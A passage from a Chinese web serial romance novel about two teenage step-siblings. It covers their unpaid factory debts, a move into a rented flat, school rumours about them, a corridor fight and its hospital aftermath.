陈端还是笑,把桌上的卡一并丢入孔净的铁盒子,两只胖胖的粉红猫互相作伴。 他提醒孔净,“值钱的东西都随身带着,别放屋里,不安全。” “知道。” 陈端话是那样说,但没有哪个工人真的胆子大到敢进门行窃,因为陈端太凶。 吃完饭,他左肩上打着石膏,慢吞吞从楼上下去,右手上一只废钢管在水泥墙上擦出火花,见到在楼下盯梢的工人,他扫去一眼,然后反手抡起钢管,“嘭!” 旁边一块板材被他抡爆。 尘土飞扬,他对着人笑。 工人们只是要钱,陈端这架势却像是要命。 找借口来楼上安慰孔净实际是探听李贤梅和孔大勇动向的两个嬢嬢,透过窗户也看到了这一幕。 她们对视一眼,识趣地走了。 孔净心想这样下去也不是办法,拖得了一时,总不能一直拖下去。 工资不发怎么说都是他们理亏。 “你别管了,我有办法。”过了会儿,陈端拎着那根钢管又上来了。 孔净的眼睛望向他,“什么办法?” 陈端笑了下。 孔净皱眉:“不准再和李哲那帮人来往。” 她言辞激烈,下一秒走到他身边忽然握住他拎着钢管的手,就像他喜欢的那个动作,掌心圈住他腕骨,但因为他骨量大,所以她两只手都附上来紧紧把他圈住。 “我只有你了。” 陈端不笑了,他垂下脸,鼻尖一下一下轻轻擦过孔净的发顶,“我知道。” 孔净要出去一趟,让陈端就在厂里守着,如果两个人一起走,会被误以为跑路。 她去镇上找了个ATM机,插入李贤梅那天给的银行卡。 当时李贤梅说的是给陈端买点营养品,孔净因为自己还有钱就一直没动这张卡。 她本以为里面最多几百上千,看见余额吓了一跳。 整整十万。 这可能是家里剩的所有积蓄。 所有人都以为李贤梅带着全部值钱的东西跑了。 事实上,她带走的只有那条细得不能再细的金项链,那是结婚前她用打工赚来的钱给自己买的二十岁生日礼物。 大半生过去,也是她收到过的唯一一个生日礼物。 可是,李贤梅说过的啊,那条项链是假的呀。 孔净一个人蹲在自助银亭里放声大哭。 哭声引来银行保安,人家以为她被骗钱了,要帮她报警。 孔净想解释,喉咙被堵住,一张嘴只能发出呜呜声,抹掉眼泪,又有新的源源不断从眼眶流出来。 她知道李贤梅留下这笔钱是给她和陈端读大学用的。 尽管李贤梅那么讨厌陈端,在她走之前还是以妈妈的身份为他考虑了以后。 孔净茫然回到石材厂,发现楼下盯梢的工人都不在了,有个嬢嬢看见她回来还特别热情地和她打招呼,跟她说:“陈端是个有种的。” “他怎么了?” 嬢嬢喜上眉梢,“他把我们的工钱都结清了。” 孔净脸色一白,跑上楼,“你哪儿来的钱?我不是说——” “我把孔叔的摩托车卖了。” 陈端像往常一样倚靠在床头,屈起一条腿,膝盖上架着素描本,铅笔在纸面上沙沙作响,像是什么也没发生过。 “……” 孔大勇花大价钱买的进口摩托,抵消工人们的工钱当然绰绰有余。 “但爸不是把车骑走了吗?” “他能去的就那么几处,停车的地方我都熟。” 所以……摩托车是陈端趁孔大勇不注意,撬锁偷走然后卖掉的。 “不是让你在厂里待着的吗?” 孔净想到,也许她前脚出厂门口,陈端后脚就拎着那根钢管大摇大摆地下楼,他故意殿后,反正没人敢拦他。 “我说了我有办法。” 陈端对孔净轻轻挑了一下眉,笑容明净又张扬。 也是安抚。 孔净不知道该说些什么,怀里一包钱怎么从镇上银行取回来,就怎么原路存回去。 陈端得知李贤梅留下一大笔钱,怔愣了许久。 孔净存好钱从银行出来,忽然没有来由地感到心慌。 “妈会不会……” “不会。” 陈端把孔净颤抖的手包裹进掌心里,并且举出例证,“梅姨不是空手走的,她带了衣服、鞋子、被褥,提走了去年刚买的行李箱,你也说了她还把那条金项链拿走了,虽然是假的。一个人如果想要轻生,不可能有心思做这些。” 陈端的话让孔净暂时止住了胡思乱想。 眼下他们还有更急迫的事情要做。 搬家。 孔大勇迟早发现摩托车是被陈端弄走的,他的那些债主找到石材厂来也是早晚的事,为了不必要的麻烦,孔净和陈端商量尽快找个房子搬出去。 她在网上看了一些租房信息都觉得不合适,要么贵要么位置不合适。 孔净思来想去打电话问Lily。 “问我就对了,我就住网吧楼上,三室一厅,一间租给你,一间租给陈端。”Lily说,“不过要是陈端想跟我一间,剩下两间都给你住,而且免费!” 孔净瞥了眼正在打包行李的少年,背过身对着电话问:“我爸呢?” “哈?伯父也要来哦?”Lily满脑子和陈端酱酱酿酿,中间要是乱入一个中年大汉……她打了个冷颤。 “对啊。所以租你的房子不太方便,姐姐帮忙问下周边有没有合适的。” 挂了电话,转过身,对上陈端似笑非笑的眼神,孔净轻轻踢了他一下,“别偷懒。” 陈端并不说话,抬起没受伤的右手圈住孔净左手腕把人拉住,很轻地晃两下。 Lily办事效率很高,很快就给孔净回电话。 她说有两套合适的,其中一套也是三室一厅,和房主合住,价格贵点,另一套是整租,便宜点,但是只有一室,而且是个筒子间。 Lily偏向于三室一厅,“平时你和伯父一人一间,陈端放假回来就和伯父将就挤一下。” 孔净没立即应声。 因为是两个人一起商量,所以她“很民主”地开了免提。 问陈端,“你觉得呢?” “还用说,当然是一室。”陈端视线掠过孔净的眼,“因为便宜。” 孔净不看他,对着电话跟Lily说,“姐姐,我们要一室的。麻烦你跟房东说一下,我们等会儿就过来签合同。” Lily满口答应。 挂了电话才觉出不对,一室?孔净口中的爸呢?睡屋顶啊还是躺厕所?? Lily攒着一肚子话想问孔净,真正见到人之后又咽下了。 孔净和陈端说是来签合同,各自的自行车后座上却都捆了一个行李箱。 天擦黑了,两辆自行车才相继骑进巷子,他们时不时朝后看一眼,模样警惕像是怕被人跟踪。 “姐姐,不好意思,耽误你做生意了。” 孔净把车骑到网吧门口,她是笑着的,彩色招牌灯却照出她略显红肿的眼睛。 “耽误什么呀,先带你们去看看房子!” 这片房子外形老,里面也老。 楼道狭窄堆了东西,隔两层才有一盏声控灯,灯一亮,伏在角落的影子咻地一下窜走,是老鼠。 Lily的细跟鞋在台阶上跺两跺,转身跟孔净说:“别怕。” 孔净不怕。 灯光昏暗,暗影丛丛,陈端一言不发走在她身后,宽大掌心悄悄裹住她背在身后的手。 第49章 流言 房子在六楼, 进门所有布局一眼望到底,长条形的小空间里摆着一张单人床、一张旧木桌和两把掉了漆的矮凳子。 外阳台封起来,左边一组简易灶具,右边做成洗手间, 中间一绺玻璃窗依稀可以看见远近居民楼灯火错落。 “小是小了点, 收拾一下也还可以。” Lily独享三室惯了, 心里嫌弃这哪是小啊,还没她家客厅大,转个身都要头碰头。 但是孔净很满意。 她转头问陈端:“你觉得呢?” “你定。” “那就租这间了。” “好。” Lily莫名觉得这两人气氛怪黏稠的, 她在旁边一点插不进去。 孔净立马和房东签了三个月的租房合同,捋起袖子开始打扫。 上个租客搬走没多久, 房子还算干净,但她用拖布拖过两遍之后, 蹲在地上用浸了消毒水的抹布一寸寸地仔细擦。 “别擦了, 已经可以用舌头舔了。” 陈端负责外面的阳台区域, 他在男生中已经算干活细致的了,但比起孔净的“吹毛求疵”还是差了一截。 “不擦干净点你晚上怎么睡。” 孔净头也不抬地说。 陈端一愣,“我睡哪?” “地上。” 陈端赤着脚慢慢走过来,冷白脚掌在刚抹过的老旧木地板上留下几个氤氲着雾气的瘦长印迹。 孔净手里的抹布被他脚趾按住一角, 她用力一扯。 陈端掐腰站在孔净面前, 继续挡她的道。 孔净绕过他继续擦。 头顶上方传来一声气音, 孔净还是没抬头,字正腔圆地指挥他,“把行李箱里的东西都拿出来,看看还差什么,明天下课后我去买。” 然后又是一声气音。 孔净没理他。 他们从厂里走得急,行李箱空间有限, 只够塞进非带不可的东西。 被褥虽然也有,但只有孔净一个人带了。 “你的呢?” 孔净不可置信,把陈端的行李箱抖了又抖。 “没带,忘了。” 陈端态度懒懒,一点不怵。 孔净:“我提醒过你,两遍!” “没听见。” “……” 陈端对孔净笑一下,好言商量,“要不,今晚先凑合睡一张——” 孔净没听他讲完,直接扔个枕头过去。 晚上,孔净用一床薄毯把自己裹成蝉蛹,只露出一颗脑袋来。 床架不很稳,稍微动一下就发出咿呀声。 陈端就躺在床前的地板上,孔净怕地上湿气重,先是铺了一层塑料布然后才是褥子床单。 他没被子,孔净扔了两件冬天的厚外套在他身上。 但闽城冬天再冷气温最低也有十度左右,因此所谓的厚外套也厚不到哪儿去。 “你冷吗?” 孔净侧躺着,姿势也像个蚕宝宝。 “不……”陈端话到嘴边忽然转个弯,“冷。” 孔净“哦”一声,闭上眼睛酝酿睡意。 陈端转头,强调一遍,“我冷。” “嗯呐。” “……” Lily也不知道自己在疑神疑鬼些什么,早上六点刚过,她就一掀被子爬起来。 妆没画,头发也没梳,“砰砰砰”敲响607室的门。 她这波出其不意,门一开,少年顶着一头凌乱短发,看她的眼神明显带着起床气。 “我来送早餐!” Lily只盯着陈端的晨起睡颜垂涎了一秒,立刻迫不及待踮起脚往室内瞥。 看见单人床上还没来得及叠的毯子和旁边的地铺,听见从浴室传来的水声,她蓦地舒了一口气。 抓了抓头发,听见面前的人问,“早餐呢?” 她一愣,低头看见自己空着的双手,“……楼下,忘提上来了。” 陈端右手搭在门板上直接往前一推,Lily反应快直接把脚卡进门缝,“孔净!孔净!快出来,姐姐请你吃米线糊!” 孔净和陈端一共请了五天假,再回到学校,不知道18班的人怎么对陈端,7班的人虽然假装什么都不知道,但看孔净的眼神总带着几分可怜和八卦。 “孔净,你还好吧?”课间,林语珂和孔净一起厕所排队,前后都是人,她关心道,“有什么事都可以跟我说。” “没事啊。”孔净转头对她笑一笑。 “你不要强撑,那天晚上的事大家都知道了,你和陈端这么多天没来学校,那个、你妈妈真的——” “没有。我和陈端都很好,家里也很好。” 孔净打断林语珂。 “哦。” 林语珂撇嘴,感觉孔净根本没有拿她当朋友,学校里都传开了,还说什么很好。 意外的是,平时最八卦的齐淼这次居然什么都没问,她按照从前的习惯和孔净相处,偶尔还会拿着卷子转过来问孔净最后几道大题怎么解。 “都高三了才想起抱佛脚,你这种水平应该直接放弃后面的题,把前面的基础分拿到就不错了。”林语珂自觉说的一点都没错,因为老师也是这样建议的。 “你是太平洋警察啊管这么宽!我又没问你!”齐淼无端被打击学习积极性,十分不满,“人家孔净都没觉得烦,就你嘴碎。” 林语珂慢慢翻着书,“就算你问我,我也不会教你!” “明明是就算我问了,你也不会好吗!”齐淼呛回去。 林语珂被噎住。 转头,以为孔净会帮自己说两句,却见她低头在草稿纸上演算,根本不在乎齐淼怎么攻击她。 “哇,脾气真大。走了一个戴公主,不会再来一个林公主吧。” 齐淼看见林语珂起身走掉,故意在她背后大声吐槽。 对于她们的争执,孔净根本没听,是真的没心思。 晚上最后一节课,班主任快速过完一张卷子答案后,拍拍手上的粉笔灰,忽然说:“孔净你出来一下。” 一时间,所有人都埋头在桌前,但目光都高度一致往孔净的方向瞟。 林语珂把椅子往前挪给孔净让出道,状似不经意地瞥去一眼,却见她神态自若,肩不垮腰不塌,仿佛大家集体出现记忆错乱,那天孔大勇根本没来学校闹过一样。 “心理素质真好。”她小声嘀咕。 “不然怎么每次都考年级第一,还稳定甩第二名好几十分?” 齐淼转头应一声。 林语珂无语,“说得好像考年级第一的人是你。” “不是我啊,但年级第一是我后桌,也很光荣啊。” “自己不努力,老想沾别人的光。” “起码我不妒忌别人成绩比我好。” “你说谁妒忌?” “谁问谁妒忌。” 班主任叫孔净出来无非是好心想了解那天她和孔大勇回去之后又发生了什么,但说到底,具体又出了什么事班主任不是特别在意,他在意的是孔净这样的好苗子千万不要被杂事影响学习。 所以反倒是班主任说的多,孔净偶尔点下头表示在听。 这周陈端没在学校住,每天晚上下课之后都来7班教室外面等孔净,两个人骑两辆车反而不方便,于是车子推出校门口,孔净就心安理得地跳上后座。 叮铃铃的铃声清脆响起,穿蓝白校服的少年载着蓝白校服的女孩飞快穿过一片校服海,乘着秋天的夜色奔向远方。 “陈端不住校了吗?”隔天午休时间,林语珂问孔净。 “住。这周比较特殊。” 陈端赖在607室不走,说是担心孔净害怕,Lily说晚上去和孔净作伴却被他无情拒绝了。 陈端在想什么,孔净很清楚。 但,那是不可能的。 起码现在不可能。 “这周怎么了?你妈还没回家吗?”林语珂看着孔净,“你怎么啦?我只是关心你,你不想说可以不说啊。” “嗯。” 孔净就点头,真的没再开口。 林语珂却气闷起来,“也许在你眼里我就是普通同学吧。如果是阿禾,我相信根本不用她问,你就会把所有事情全部告诉她。” “没有,阿禾如果知道我不想说,连问都不会。” 孔净迷迷糊糊,下巴垫在桌面上,闭着眼睛等这波饭晕快点过去。 “所以我就是比不上阿禾。” 林语珂得出这个结论,拿着一本英语范文去操场了,直到上课才回来。 孔净自己一脑门官司,分不出多余的精力来处理人际关系,但是因为林语珂一下午都拉着脸,课间孔净想出去上厕所让她让一下,她都假装没听见。 这样来回拉扯,孔净真的累。 “不然,下个月自愿调座位的时候我和别人换一下。” 下午放学之后,孔净去校门外买了杯奶茶向林语珂主动示好,却还是只得到林语珂一个冷脸,她只好提出这个方案。 “随便!” 林语珂像无缘无故别人被捅了一刀似的,表情既痛苦又愤怒。 然而不等下个月了,晚自习第一节下课她就气冲冲地去了班主任办公室,回来之后直接把桌椅搬去了教室最后一排。 班主任随后过来,让后面的人往前顺移。 十来个人无端和自己的原同桌分开,怨气都往林语珂身上发。 林语珂气到趴在桌上哭。 孔净也不知道该怎么劝。 “林公主已经上线了。”齐淼捂住自己的耳朵隔绝林语珂不要命的嘤嘤声,她嫌弃道,“我就说不要喝那么多印日文的饮料了,现在好了,连哭都跟小日本一样,咦,肩膀一抖一抖,鼻子抽啊抽,呜呜呜好崩溃,好吵!” 孔净:“……” 或许也是从林语珂换座位之后,关于孔净和陈端的流言忽然在校园某个角落开始滋生。 由于他们一个是稳居光荣榜榜首的模范好学生,一个是冷清孤僻长年霸占清安高中八卦头条的风云校草,各有各的耀眼之处也就罢了,加在一起又是最受瞩目的明星姐弟。 因此这条惊掉人下巴的流言,疯传速度之快之广,不出几日就连老师们也有所耳闻。 孔净一向是八卦绝缘体,更何况她作为流言当事人,大家都刻意背着她,所以在流言已经快被大家认定为事实,她被叫去办公室,才无比惊愕地从班主任口中得知流言内容。 “不是!怎么可能!我们没有!!” 办公室门关着,班主任刻意选在其他老师不在场的时候把孔净叫来。 孔净僵直地站在那儿,感觉空气稀薄得叫人喘不过气来。 “老师当然相信这是无稽之谈。你不仅是我们班的骄傲,也是整个年级整个学校的骄傲。老师叫你来不是要指责,是想提醒你,就算是亲姐弟也要注意日常相处尺度。” 班主任表情严肃,目光透过厚厚的镜片像两束X光射在孔净身上。 学生们私下传得有鼻子有眼,一个个像名侦探柯南,把孔净和陈端在大庭广众之下的“逾越细节”如数扒出:入学时军训陈端不顾教官阻拦坚持把孔净抱去医务室、陈端给孔净穿自己的衣服、陈端喝孔净喝过的饮料、陈端把手搭在孔净肩膀上公然在校道上抱她、陈端…… “听说你们最近从家里搬出来,背着家长租了房子住在一起?” 班主任眉头紧皱,难以启齿的模样好像他们真的做了什么似的。 孔净忽然感到一阵恶寒,好像学校里每个角落都有无数双眼睛在盯着她和陈端,平时根本不认识的人此刻说不定就在教室里兴奋地列举她和陈端的背德罪行。 学校老师抓得最严的就是早恋,更何况还是亲姐弟。 班主任从心里相信孔净和陈端的确没什么,但学生们对这件事讨论热度太高,他不可能一个个去封住他们的嘴,最有效的方法就是让孔净和陈端保持距离。 他相信用不了多久,大家就会对这桩无稽之谈失去兴趣。 “您如果相信我和陈端是清白的,那就是说我们并没有做错什么,既然什么都没有做错,我们为什么要受到惩罚?” 孔净一向是乖乖好学生,从来没有在学校红过脸,更别说像现在这样当面反驳师长。 “孔净,我一直以为你是最明事理的。” 班主任露出失望的神色。 “明事理就意味着,必须对别人犯下的错误无限宽容吗?” 班主任叹口气,挥挥手打发她回教室。 正是课间,孔净经过走廊时明显可以感觉到周遭的人在看她,但当她转过头,原本粘在她身上的目光就飞快瞟向别处。 大家嗡嗡嗡地嚼着舌根,嘴巴一张一合,当着她的面快乐地打着哑谜。 甚至有“舌吻”、“变态”、“从小脱光光躺一起”这类字眼,爬进孔净的耳朵搅动她的神经。 “把你刚才说的话重复一遍。” 身后忽然响起一道逼仄的冷戾音色。 被点到名的男生脸色有点难看,但因为是大课间走廊上都是人,他不想显得过于懦弱,再加上仗着陈端还挂着石膏板,就算真的动起手来他也不见得会输。 “说就说,你和你姐姐打啵睡——操!!” 男生话没说完,面门猛地被砸中,踉跄后退,站在他身后的两个女生尖叫着闪躲。 男生飞快爬起来,于此同时,他班上的其他男生也有几个站出来,气势汹汹地对向陈端。 男生一看有帮手,萎靡的气焰瞬间高涨,“说你又怎样?敢做不敢让别人说啊?!草你妈逼!” 离得近的怕被波及都在往后面让,离得远的想看热闹都在往前面挤,孔净被两股人流夹在中间,她喊了一声陈端,但听见那个男生骂了那句带妈的脏话后,她就知道已经阻止不了了。 拳头砸在皮肉上的闷响声,从男生口中发出的惨叫声,混乱的叫骂声、尖叫声……充斥着走廊。 人影晃动,有人摔倒又爬起,又摔倒。 那个没穿校服外套的沉冷身影挥出一拳又一拳,有个瞬间他的脸转向这侧,孔净看不见他有任何表情,一双眼睛又黑又沉,像一把削铁如泥的尖刀。 带着对这个世界的恨意。 几个男生倒的倒,歪的歪,同班还有想上来帮忙的,但是都被18班闻讯赶来的人暴力推回了教室。 陈端跨过横在地砖上的人影,单手拎起那个最开始挑事的男生的校服后领。 男生和他对视一眼,腿都软了,嘴巴鼻子往外流血,从喉咙里发出求饶声。 石膏碎裂,落得满地都是。 陈端像是不知道痛,毫不费力把那个男生拖到走廊外,还要往外拖,男生下半身疯狂挣扎,在校道上留下一道扭曲的拖痕。 陈端把那个男生拖上了升旗台,倒是没再动手,他弯下腰,看向男生被血和眼泪糊得五官都乱掉的脸。 忽然笑了下。 这个笑让男生感觉看到了鬼,哆哆嗦嗦叫着,“端哥我不敢了……” 原本在走廊上看热闹的人也都跟着移到操场,陈端直起身居高临下地扫过他们,没有预兆地,一脚踹飞那个男生。 除了那个男生的惨叫,在场的人都像被偷走声带,按下了静音键。 孔净知道,关于他们家和他们俩的流言都不会再出现了—— 作者有话说:感冒啦,休一天哦 第50章 什么样的代价他都付得起…… 被打的男生叫张天浩, 他和陈端一起被老师送去镇医院。 张天浩的妈妈很快赶来,看见儿子脸上身上都是血,顿时哭叫着要报警,并且扬言要把陈端送进少管所。 陈端坐在隔壁病床上, 他左边肩膀的石膏板碎了, 医生正在帮他检查原本骨折的地方是否受到了波及。 几个老师在旁边劝张妈妈稍安勿躁, 张妈妈像一头护崽的母狮,不顾老师们的阻拦抓起自己肩上的包就往陈端这边冲。 陈端挑眼扫过去,天生的破坏欲在作祟, 他忽然勾唇笑了下,像是等着她过来, 把事情闹更大才好。 “你们看见了吗?你们看见了吗?他在笑!在笑!!!” 张妈妈被刺激到,不断用身体冲撞着挡在她面前的人墙。 几个老师苦不堪言, 后悔没有提早分两个病房把人隔开。 哭喊躁乱之际, 眼看着快要往不可开交的方向发展, 一只纤白手掌忽然伸过去,大拇指和食指扣住陈端下巴,用力把他的脸掰向这侧。 孔净用了十成十的力道,陈端的下颌瞬间留下两个鲜红指印。 他仰头看她, 静冷黑眸忽地收起戾气, 眼尾微微往上挑, 笑得几分懵懂和无辜。 孔净抿了下唇,“好好待着。” 陈端看出她在生气,长卷眼睫垂下几分,倒是没反驳,也没再理会张天浩和他妈妈。 几个老师合力把张妈妈推到走廊上,劝说先等医生把两个孩子的伤势处理好了, 再说其他事。 “处理什么啊?这里能处理吗?天浩被打成那样,我都认不出来了!我们要转院,去市里!” 张妈妈一口咬定张天浩在学校里从来不惹事,所有责任都在陈端。 孔净轻轻合上病房门,也说:“一起转院好了。陈端也要去市医院看病。你刚才在里面也看到了,他本来就受了伤,张天浩伙同他们班的男生几个打他一个,张天浩流了鼻血看着吓人,陈端是骨折,说不定还有内出血脏器损伤,去市医院检查清楚了才好一次性清算医药费和赔偿,免得我们后面再找你。” “你还要找我拿医药费和赔偿?!” 张妈妈唰的一下转过头,视野里女孩穿着蓝白校服梳着高马尾,模样清清静静,语调也平缓,说出来的话却颠倒黑白,蛮横无理。 “不要脸的是你儿子。你可以去学校问,当时那么多人在场都听见了,是他先传谣言先骂陈端。”孔净顿了下,“你可以让张天浩把骂陈端的话对着你骂一遍,看看你能不能忍住不动手。” “我儿子骂什么?骂什么你们就有理由打人——” “草你妈逼!” 旁边一道男声突然冒出来。 是18班那个乖乖仔,他旁边还站着两个同班男生,手里拎着果篮和盒饭,应该是趁着午休时间过来探病的。 乖乖仔从来不说脏话,话音落地,脸红得像番茄。 同行两个男生忽然也异口同声:“XXX逼!” “小兔崽子!无法无天了!”因为话都是对着张妈妈说的,张妈妈气得要过去扇他们巴掌。 乖乖仔拎着果篮左右闪躲,“不是!这是张天浩骂的,我们只是转述!” “……” 孔净站在病房门口,很突兀地,听见从里面传来笑声。 她转身,目光透过门上的观察窗看见里边坐在治疗床上的少年,唇红齿白,笑得眉眼生动,另一张床上的张天浩被笑声吓到,不顾医生阻拦,两只脚伸进鞋子里做出随时要逃的姿势。 “……” 张妈妈强烈要求也把孔净和陈端的家长叫来商量赔偿事宜,虽然相比于陈端的骨折加重,张天浩真的只是皮外伤。 乖乖仔竖起大拇指,“端哥打过那么多架,知道轻重的!这种伤看起来吓人,其实没多大事。” 孔净在一边没作声,另外两个18班的男生看她表情不对,放下东西,拉着乖乖仔赶紧跑了。 “不高兴?” 陈端左肩又打上了石膏,净白的颜色和他脸上露出的两颗小酒窝很相称。 “你高兴得起来?” 孔净把盒饭放在病床小桌板上,筷子扔在旁边。 陈端无甚所谓的态度,“高兴啊。” 孔净伸手把他已经拿到手里的筷子往回抽,“高兴能当饭吃,你别吃了。” 孔净把盒饭也捧在手里,转过身就往嘴里塞进一颗狮子头。 陈端倚在床头,一条大长腿不安分地从床边滑下来,赤着的瘦长脚掌碰一碰孔净的椅子腿。 孔净不理他,他就有一下没一下地继续碰。 秋日的阳光从侧边窗户照进来,余光里,陈端的脚掌像一条鱼,皮肤那样白,蓝青色的血管清晰可见。 孔净停下咀嚼的动作,过了几秒,发出轻吸鼻子的声音。 那只捣蛋的“鱼”不动了,僵垂在净明光线里,陈端手掌撑在床板上要坐起来。 “敢碰我你就死定了。” 孔净听见响动,背对着出声警告。 软绵绵的音调,克制的哭腔,受了委屈的小猫一样。 陈端被猫爪子挠了一道,打架不痛,骨折不痛,被猫挠过的伤痕生疼。 “你怎么了?”陈端语气温软,他说,“你也看见了,没多大事,我没想把那家伙打成怎样,他顶多涂点红药水就好了——” “谁管他死活!” 孔净被气死,陈端一副不知所谓的样子,根本没把自己当回事。 以前是这样,现在还是这样! 陈端莫名,不是因为这个生气,那是…… “后面那家伙要多少赔偿我和他谈,你下午回学校上课,别影响学习进——” “啪!” “不会说话就闭嘴!” 陈端话没说完,孔净把盒饭和筷子往旁边床边柜一放,直接起身走人。 马尾高高荡起,连背影都在冒火光。 陈端目光追随她身影,直到“嘭”的一下被门板阻隔。 他眯了下眼,表情跟着不爽,因为余光扫见旁边一直躺在床上偷听的一团人影。 “嘭!” 忽然又是一声,陈端伸腿把椅子踹翻。 努力把存在感降到最低的“那家伙”张天浩直接一抖。 “嘭!” 张天浩再一抖。 “嘭!” 张天浩…… 陈端没等他抖完,伸手拽过挡帘,眼不见为净,还是不爽。 孔净在外面也听见病房里的动静了,用脚指头想也知道他在搞什么鬼。 搞笑的是,张妈妈还在走廊另一端和18班的班主任理论,让他务必把孔大勇找来,孔大勇一天不来她儿子张天浩就在医院多住一天院,反正医药费最后也得孔大勇来结。 高老师被张妈妈缠得烦了,再加上孔大勇的电话怎么也打不通,他气道:“张天浩就是有几处软组织轻微挫伤,够格住什么院?他这种情况就算上派出所鉴定伤情,民警也不会给做!” “对!伤情鉴定!做伤情鉴定!” 张妈妈却恍然从高老师这儿得到了灵感,说着就要回病房拉张天浩去派出所。 “天浩妈妈哎——”高老师是真服了。 但无论张妈妈怎么闹,张天浩那点皮外伤涂点红药水顶多再吃点药就差不多了,再加上联系不上孔大勇,老师们又极力促成和解,最后她拿了孔净装在信封里的五百块,表示看他们姐弟不容易,连个大人都没有,这次就放过他们。 陈端听了这话,慢慢扫去一眼,张天浩急得就想去抢他妈妈手里的信封,要还给孔净。 孔净伸手把陈端扯到自己身后,“别吓他,就这样吧。” 孔净在心里觉得她和陈端是占理的,可是高三了,每一天都无比宝贵,她不想把时间浪费在这种事情上。 五百块如果能息事宁人,也不亏。 孔净让陈端在医院输几天消炎镇痛的药,她先回学校上课。 “好好在医院待着。” 孔净把素描本和铅笔都带来了放在床边柜里,方便他伸手就能拿到。 “有什么好处?” 陈端单手在手机屏幕上滑来滑去,贪吃蛇的音效在病房内响起。 “把伤养好就是好处。” 陈端没搭腔,显然不满意这个答案。 孔净背起书包,陈端以为她要走了,却忽然听见“咔哒”一声脆响。 三人间的病房目前只有陈端一个人病号,孔净把病房门反锁了。 转过身,重新走回病床边,“要好处是吗?” 陈端对上她平静眼眸,有点拿不准她会不会像之前那样突然来一下子。 但胡萝卜的滋味他早就想尝了,什么样的代价他都付得起。 “对。” 陈端把手机往旁边一扔,没受伤的右手撑在身后,下巴微仰,这会儿倒是不笑了,一双眼睛像是会咬人,表情和姿势都写着邀请两个字。 孔净看着他,继续往前走近。 校服裤子擦着他的牛仔裤面料发出摩挲声,陈端目光一闪,没想到孔净这么敢。 “别动。” 孔净说不让他动,却嫌他两腿敞开的空间太小似的,她抬起膝盖抵着他的大腿内侧左右各抵了下。 角度扩大,陈端感觉两根筋被拉着,喉结不由得上下一滚。 “姐姐。” 他又这样叫她,喉咙里一把烧红了的细沙,空气也被导热。 孔净没应他,慢慢俯下身,为了支撑左手不偏不倚压在他撑在身后的右手上,两人离得很近了。 孔净一直看着他的眼睛,没有丝毫的闪躲,因此她很直白地看出陈端眼里的渴望。 于是她又往下,近到呼吸纠缠,鼻尖快要触到鼻尖。 孔净的膝盖又动了下,像是要跪抵上来。 陈端双唇干燥,敞开的腿像是要痉挛,一股拉扯的酸涩酥麻感从下顶到上。 “这算好处吗?” 孔净声音轻轻的,香甜口息就近洒在少年张开的唇瓣上。 “姐姐……” 陈端说不出别的字眼,只是这样叫她。 垂在身侧的左手不受控制地抬起来,伸向孔净的腰。 却被孔净一下打落。 她双颊染上薄红,牢牢占据着主导地位,一手压在陈端的右手上,一手抓住他左手臂,指甲慢慢掐进他皮肤里,声音还是那样轻,“说话,算好处吗?” “……算。” 一股奇异的爽感直冲天灵盖,陈端从来没试过这种感觉。 他终于知道自己想要什么了。 然而胡萝卜挂在眼前,每次以为要尝到了,距离又迅速拉开。 孔净直起身,退后两步,像是很满意他的表现,“那就好好待着,不准打架,不准离开医院。” ……?? “晚上再来看你。”孔净拽着书包肩带就往门外走。 直到门板合上、脚步声远去,陈端才确定孔净是真的走了。 有点想骂人,又被气笑。 手背好像还被她压着,小臂上的指甲撩痕细小泛红,他维持着两腿敞开的姿势一下仰倒在床上。 孔净脸烧得像烂番茄,出了病房,步子迈得比谁都快。 在楼下的通风口站了好一会儿,感觉脸上的热气散得差不多了,她才匆匆赶回学校。 陈端在医院待不住,这次却结结实实住了一星期的院。 出院这天是周五,他上午自己办了出院手续,中午孔净在校门口等他一起去吃饭。 “晚上我回居民楼。” 意思是晚上不住校,还是和孔净一起回出租屋睡。 陈端帮孔净舀了一勺辣椒酱在烧肉粽上,说这话时表情和语气都正经得很。 孔净拿筷子把肉粽均匀分成几个小块,“好啊。” 介于彼此太过互相了解,陈端总觉得孔净答应得太过爽快。 可孔净一双眼睛笑眯起,清甜得过于诱人。 晚自习下课,陈端来7班教室等人,从走廊窗户望进去,孔净的座位却是空的。 “陈端?你找孔净吗?她回宿舍了。”一个女生从教室后门出来,踌躇几秒,走过来跟他搭话。 陈端掐着腰从喉咙里溢出一声气音,想起孔净中午的那个笑,他忽然觉得牙根有点痒。 “你要去宿舍找她吗?你帮忙把这个带给她可以吗?”女生追在他身后。 陈端转过头,先是扫了眼女生手里的快递包裹,然后才认出这人是孔净的前同桌林语珂。 “这什么?”他问。 “不知道,孟学长寄给孔净的,可能……是学习资料吧。” 林语珂下意识拨了下刘海。 陈端把快递拿在手里掂了下,林语珂觑了眼他的表情,犹豫道:“我们都知道上回的事都是别人瞎传的,你们、怎么可能嘛!不过你好像有点太极端了,其实不用打架也可以解决问题的,如果是孟学长的话他就不会把事态扩大成这样……” 林语珂注意到陈端的眼神,她摆摆手惊骇道:“因为我和孔净是好朋友,所以才多嘴说这些。我是觉得高三学习这么紧张,你就算不想学,也也不要给孔净添乱。她、她跟你不一样。” 她说完这句,像是害怕陈端会像揍张天浩那样对她出手,往后退了好几步才转身飞快离开。 孔净是周中搬进学校宿舍的,和别班的混寝,六人间包括她在内一共只住了三个人。 两个舍友都很好相处,寝室里学习氛围非常浓郁。 “孔净,好像是你弟弟带给你的东西,他放在楼下了,宿管老师叫我拿给你。” 舍友一手提着热水壶,另一手把快递包裹递给孔净。 孔净奇怪孟书宇寄来的东西怎么到了陈端手里,以为是他在传达室碰巧看见所以就帮她捎到了宿舍。《 》 50-60 第51章 别玩我 手机一晚上没动静, 孔净把今天的错题集整理完之后看了眼手表,居然十二点过了。 宿舍十一点断电,她用的是台灯,两个舍友已经睡了, 她轻手轻脚整理好桌面也爬上床…… 【睡了?】 孔净缩在被子里敲敲打打, 发出这两个字。 困倦来袭, 一直没等来回信,手机自动熄屏。 第二天醒来抓过手机看一眼,一条未读信息于凌晨三点接收, 【嗯。】 “……” 孔净不知道他是三点才睡还是中途醒了。 【去吃早饭吗?】 孔净洗漱完再回来,对面都没回。 整个上午, 手机没响过。 【三鲜米线,我请客。】 最后一节课还剩五分钟就打铃了, 孔净趁着老师不注意偷摸掏出手机打字。 低着头, 目光虽然都落在屏幕上, 但视觉和其他感官都在观察老师的动向,指尖飞快在屏幕上敲击,孔净感觉都要出汗了。 这条发过去之后,正要把手机塞回桌肚, 但一想到陈端拽拽的表情, 指尖再次点击虚拟键盘;【包养你, 中午。】 